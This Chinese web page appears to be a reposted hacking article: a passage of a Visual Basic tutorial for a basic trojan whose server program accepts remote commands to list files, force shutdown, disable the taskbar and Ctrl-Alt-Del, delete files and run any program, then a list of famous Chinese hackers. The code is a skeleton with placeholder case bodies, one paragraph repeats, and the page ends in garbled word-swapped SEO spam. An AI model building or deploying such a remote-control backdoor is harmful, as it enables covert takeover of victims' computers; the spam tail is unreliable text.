2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
绿色兵团,已经解散了,但是当初那是大名鼎鼎的黑客组织,也是我知道最早实力最强的黑客组织,里面高手如云,至今提起来依然是一段佳话,可惜分了。你搜索就能找到很多相关的新闻和故事。
中国10大黑客(有他的所在组织名及个人网站)
网名:goodwell
所属组织;绿色兵团
网站:
介绍:中国最早黑客组织绿色兵团的创始人,中国黑客界泰斗级元老。
入选理由:作为中国黑客界最早组织创始人,goodwell领导下绿色兵团在网络界甚至更广领域都得到认同。他与其组织揭开中国黑客历史的序幕。他个人也因此受到黑客界的爱戴。他先后结识了rocky(因车祸已故)、袁哥、backend、blackeyest等人。在他们的共同维护下,绿色兵团主站发展壮大,使绿色兵团发展成为亚洲最大的,也是中国最早、最有技术实力的黑客站点。虽然现在他本人已经很少在黑客界露面,其组织也已经解散。但他对黑客界的贡献仍是巨大的。
网名:coolfire
所属组织:飞鹰工作室
网站:
介绍:中国台湾著名黑客,中国黑客界元老人物
入选理由:作为黑客界元老级人物,coolfrie所编写的许多技术文章仍在指导着众多中国黑客技术方向。作为一位台湾黑客,他对海峡两岸统一的支持,对黑客界的贡献,是有目共睹的。coolfrie以他的能力做出值得人们尊敬的黑客篇章。
网名:Frankie(老毒物,深圳浪子)
姓名:谢朝霞
所属组织;绿色兵团
网站:
介绍:著名的网络安全专家,中国的第一代黑客。
入选理由:著名的网络安全专家.在"两国论"期间的"海峡黑客对撞风波"和针对由"5.8轰炸我驻南使馆事件"引发的黑客事件中,谢朝霞起着举足轻重的作用.事实上,谢朝霞并不是由于参与攻击别人的网站而著名.谢朝霞是Windows NT高手,1996年初开始从事网络安全研究,对世界范围内各种流行的黑客技术进行详细的记载与分析,专门收集,发现网络系统安全研究.1998年,谢朝霞建立了自己的个人网站"辰光工作室",开始发布自己对近千篇黑客技术文档和2000多个工具的分析心得,公布了大量的网络安全工具,与其他黑客共享.谢朝霞现为深圳安络科技有限公司的副总裁.
网名:袁哥(大兔子)
姓名:袁仁广
网站:
介绍:中联绿盟的核心成员,中国的第一代黑客。
入选理由:提起袁哥我想在安全界混的人无人不晓。原绿色兵团成员,他在windows系统方面的造诣,在国内应该是绝对一流的。1999年在他的个人站点里面提过的windows的共享漏洞,可是很多人都用过了的吧!知道袁哥的人很多,但是袁哥的经历却是鲜为人知。
网名:xundi
姓名:张迅迪
网站:
介绍:安全焦点的创始人,中国的第一代黑客。
入选理由:安全焦点由xundi发起建立。其后,越来越多的黑客加入,其中就包括大名鼎鼎的冰河和wollf。安全焦点无疑是中国目前顶级的网络安全站点,那里集聚的一大批知名的黑客足以让其他所有的黑客团体黯然失色。因为共同的兴趣让他们走在一起,在安全焦点成立到现在的的八年时间里。他们开发的网络安全软件已经成为众多网站必选的产品。
网名:glacier
姓名:黄鑫
网站:
介绍:安全焦点的核心成员。冰河木马与X-scan的作者。
入选理由:中国木马的教父。在编程上的功夫非常的深。windows编程技术很硬。文章不多,不过工具非常实用,中国第二代黑客。
网名:小榕
所属组织:绿色兵团
个人站点:
介绍:绿色兵团的核心成员,流光,乱刀,溺雪的作者。
入选理由:提起这个名字,人们就会想到流光。这个当年让菜鸟入侵无数主机的武器遍出自小榕之手。小榕是高级程序员,所以精通的是软件开发和程序制作。流光,乱刀,溺雪及SQL注入工具为小榕代表做。榕哥是中国第二代黑客的代表人物。
网名:中国鹰派
所属组织:中国鹰派联盟 、绿色兵团
网站:
介绍:中国现在最大黑客组织创始人站长,中国黑客界泰斗级领袖。
入选理由:这位曾经加入绿色兵团后又创建了现在黑客界最大组织CEU的领袖。他经历了黑客界各大组织发展变迁,深刻了解黑客文化发展才创立现役规范规模的鹰派联盟。如今的鹰派联盟以成为黑客界权威组织,也使“中国鹰派”成为黑客界不可缺少的影响力人物。
网名:孤独剑客
所属组织:黑客基地
网站:
介绍:剑客联盟站长,中国黑客界新一代黑客泰斗人物。
入选理由:95年开始接触信息安全,曾在2000年初的中日网络大战与badboy等仁人志士组织了“中国极右翼抗日联盟”民间爱国组织,现加入黑客基地,他的名字已经在黑客界家喻户晓。他正演绎属于他自己的黑客生涯,同时他用自身的技术实力征服着每个向往黑客的人。
网名:badboy
所属组织:绿色兵团
网站:
介绍:中国红客的领袖人物,担任中国多个正规黑客组织高层,中国黑客界元老领袖。
入选理由:这位元老担任过多个黑客界颇有影响力的组织领袖,经历了中国黑客界辛酸发展。他用一生书写了中国黑客界的空白篇章。虽然他英年早逝,但他无私奉献的精神传承为黑客精神,成为真正受人尊敬的黑客领袖。
在整个黑客界还有很多优秀黑客,Dspman、Solo、冰人、Iamin、LittleFish(小鱼儿)、PP、ColdFace、天行、 liwrml、大鹰、陈三少、lion 、教主、少帅、zyme、sinister、sunx、stan1ie、逆风飞扬、alert7、flashsky、tombkeeper、isno、小四哥、eyas、san、grip2 、CoolQ等等,还有枫三少、冰雪封情、无聊(Hebe)等一类新代黑客,只是上面的人物都是比较有代表性。
上面的人物他们都是值得我们尊敬的,他们用自己的生命为黑客界做出最有意义的事。不管将来他们向方走,都希望他们能更好活着,实现自己的人生价值。
尾页投稿 二0 一 九垂纶 岛如今 谁掌握 ,贴秘外国为什么没有敢光复 垂纶 岛 少乡号SEO博员 • 二0 二0年 七月 一日 0 九:0 三: 四 七 • 投稿 SEO 借忘患上 二0 一 二年九一八先后天下 各天发作 阵容 浩荡 的反日游止吗?可谓 一 九 七 二年外日国交 一般化此后,...
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